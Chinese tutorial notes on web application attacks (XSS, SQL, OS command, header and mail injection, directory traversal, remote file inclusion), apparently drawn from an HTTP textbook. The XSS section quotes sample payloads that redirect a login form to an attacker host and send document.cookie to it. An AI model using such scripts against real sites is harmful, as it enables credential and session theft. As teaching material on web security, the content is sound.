针对 Web 的攻击技术(一)

简单的HTTP协议本身并不存在安全性问题,因此协议本身几乎不会成为攻击的对象。应用HTTP协议的服务器和客户端,以及运行在服务器上的Web应用等资源才是攻击目标。

Web 是建立在 HTTP 协议上通信的

来自互联网的攻击大多是冲着Web站点来的,它们大多把Web应用作为攻击目标。


一、针对Web应用的攻击技术

攻击事件倾向

在客户端即可篡改请求:
在 Web 应用中,从浏览器接收到的HTTP请求的全部内容,都可以在客户端自由的更改、篡改。所以 Web 应用可能会接收到与预期数据不相同的内容。
在HTTP请求报文内加载攻击代码,就能发起对Web应用的攻击。

对 Web 应用的攻击

针对 Web 应用的攻击模式: 主动攻击、被动攻击

主动攻击 是指:攻击者通过直接访问Web应用,把攻击代码传入的攻击模式。
由于该模式是直接针对服务器上的资源进行攻击,因此攻击者需要能够访问到那些资源。
例:SQL注入和OS命令注入攻击。

主动攻击

被动攻击  是指:利用全套策略执行攻击代码的攻击模式。
攻击者不直接对目标Web应用访问发起攻击。
例:利用用户的身份攻击原本从互联网上无法直接访问的企业内部网络

被动攻击
利用被动攻击对企业内网发动攻击


二、因输出值转义不完全引发的安全漏洞

实施 Web 应用的安全对策,大致分为两部分:
  ● 客户端的验证
  ● Web 应用端的验证(服务器端)
        ○ 输入值验证
        ○ 输出值验证

验证数据的几个地方

多数情况下,采用 JS 在客户端验证数据。可是在客户端允许篡改数据或关闭 javascript,不适合将JS验证作为安全的防范对策。保留客户端验证只是为了尽早地识别输入错误,起到提高 UI 体验的作用。

Web 应用端的验证:
输入值验证:按 Web 应用内的处理可能被误认为是具有攻击性意义的代码。
                      通常是检验是否符合系统业务逻辑的数值或检查字符编码等预防策略。
输出值验证:从数据库、文件系统、HTML 或邮件等输出 Web 应用处理的数据的时候,针对输出做值转义处理是一项至关重要的安全策略。输出值转义不完全时,会因触发攻击者传入的攻击代码,而给输出对象带来损害。


(一)跨站脚本攻击 (Cross-Site Scripting,XSS)

跨站脚本攻击是指:通过存在安全漏洞的 Web 网站注册用户的浏览器内运行非法的 HTML 标签或 JS 进行的一种攻击。
动态创建的 HTML 部分有可能隐藏着安全漏洞。攻击者编写脚本设下陷阱,用户在自己的浏览器上运行时,一不小心就会受到被动攻击。

可能造成的影响:
    1. 利用虚假输入表单骗取用户个人信息。
    2. 利用脚本窃取用户的 Cookie 值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
    3. 显示伪造的文章或图片。

XSS案例:

案例1:  在动态生成HTML处可能隐含安全漏洞
以编辑个人信息页面为例:

编辑界面输入的字符串原样显示在确认界面
按照输入内容原样显示的机制

输入带有HTML标签的字符串,浏览器会把用户输入的 < s > 解析成HTML标签。
删除线显示出来并不会造成太大的不利后果,但如果换成使用 script 标签呢?

案例2: 

XSS攻击是攻击者利用预先设置的陷阱触发的被动攻击

下图网站通过地址栏中 URI 的查询字段指定 ID,即相当于在表单内自动填写字符串的功能。就在这个地方,隐藏着可执行跨站脚本攻击的漏洞。

通过地址栏中 URI 的查询字段指定 ID

充分熟知此处漏洞特点的攻击者,于是创建了下面这段潜入恶意代码的 URL。并隐藏植入事先准备好的欺诈邮件中或 Web 页面内,诱使用户去点击改 URL。

http://example.jp/login?ID="><script>var+f=document
.getElementById("login");+f.action="http://hackr.jp/pwget";+f.
method="get";</script><span+s="

浏览器打开该 URI 后,直观感觉没有发生任何变化,但设置好的脚本却偷偷开始运行了。

之后,ID 及密码会传给该正规网站,接下来仍然是按正常登录步骤,用户很难意识到自己的登录信息已遭泄漏。

对 http://example.jp/login?ID=yama 请求时对应的HTML源代码(摘录)

<form action="http://example.jp/login" method="post" id="login">
    <div class="input_id">
        ID: <input type="text" name="ID" value="yama">
    </div>
...

http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f.action
="http://hackr.jp/pwget";+f.method="get";</script><span+s="  请求时对应的HTML源代码(摘录)

<form action="http://example.jp/login" method="post" id="login">
    <div class="input_id">
        ID: <input type="text" name="ID" value=""><script>var f=document.getElementById("login"); f.action="http://hackr.jp/pwget"; f.method="get";</script><span s="" />
    </div>
...


案例3. 对用户 Cookie 的窃取攻击

除了表单,恶意构造的脚本同样能够以XSS的方式窃取到用户的 cookie 信息。

<script src=http://hackr.jp/xss.js></script>

http://hackr.jp/xss.js 文件的内容:

var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");

在存在可跨站脚本攻击安全漏洞的Web应用上执行上面这段 JS 程序,即可访问到该 Web 应用所处域名下的 Cookie 信息。

使用 XSS 攻击夺取 Cookie 信息

(二)SQL 注入攻击

SQL注入是指:针对 Web 应用使用的数据库,通过运行非法 SQL 而产生的攻击。有时会直接导致个人信息及机密信息的泄漏。


(三)OS 命令注入攻击

OS命令注入攻击是指:通过 Web 应用,执行非法的操作系统命令达到攻击的目的。只要在能调用 Shell 函数的地方就有存在被攻击的风险。
可以从Web应用中通过Shell来调用操作系统命令。倘若调用Shell时存在疏漏,就可以执行插入的非法OS命令。


(四)HTTP 首部注入攻击

HTTP首部注入攻击是指:攻击者通过在响应首部字段内插入换行,添加任意响应首部或主题的一种攻击。


(五)邮件首部注入攻击

邮件首部注入是指: Web 应用中的邮件发送功能,攻击者通过向邮件首部 To 或 Subject 内任意添加非法内容发起的攻击。
利用存在安全漏洞的网站,可对任意邮件地址发送广告邮件或病毒邮件。


(六)目录遍历攻击

目录遍历攻击是指:对本来无意公开的文件目录,通过非法截断其目录路径后,达成访问目的的一种攻击。
通过 Web 应用对文件处理操作时,在由外部指定文件名的处理存在疏漏的情况下,用户可使用 .../ 等相对路径定位到 /etc/passed 等绝对路径上,因此服务器上任意的文件或文件目录皆有可能被访问到。这样一来,就有可能非法浏览、篡改或删除 Web 服务器上的文件。

应关闭指定对任意文件名的访问权限。


(七)远程文件包含漏洞

远程文件包含漏洞是指:当部分脚本内容需要从其他文件读入时,攻击者利用指定外部服务器的 URL 充当依赖文件,让脚本读取之后,就可运行任意脚本的一种攻击。

应控制对任意文件名的指定。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 206,378评论 6 481
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 88,356评论 2 382
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 152,702评论 0 342
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 55,259评论 1 279
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 64,263评论 5 371
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,036评论 1 285
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,349评论 3 400
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,979评论 0 259
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,469评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,938评论 2 323
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,059评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,703评论 4 323
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,257评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,262评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,485评论 1 262
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,501评论 2 354
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,792评论 2 345

推荐阅读更多精彩内容

  • 本文主要讲解具体有哪些攻击 Web 站点的手段,以及攻击会造成怎样的影响。 针对 Web 应用的攻击模式 对 We...
    杰哥长得帅阅读 1,683评论 0 5
  • 1. 网络基础TCP/IP HTTP基于TCP/IP协议族,HTTP属于它内部的一个子集。 把互联网相关联的协议集...
    yozosann阅读 3,437评论 0 20
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,599评论 18 139
  • 跨站脚本(XSS)是web应用中的一种典型的计算机安全漏洞。XSS允许攻击者可以在其他用户浏览的web页面中注入客...
    留七七阅读 7,895评论 1 26
  • 1.《音乐专辑油画之...》 色相黄红绿橙,纯度中明度高,暖调。 音乐专辑油画,以陈旧的乐谱为背景,突显年代感,背...
    葡萄紫耶阅读 849评论 0 1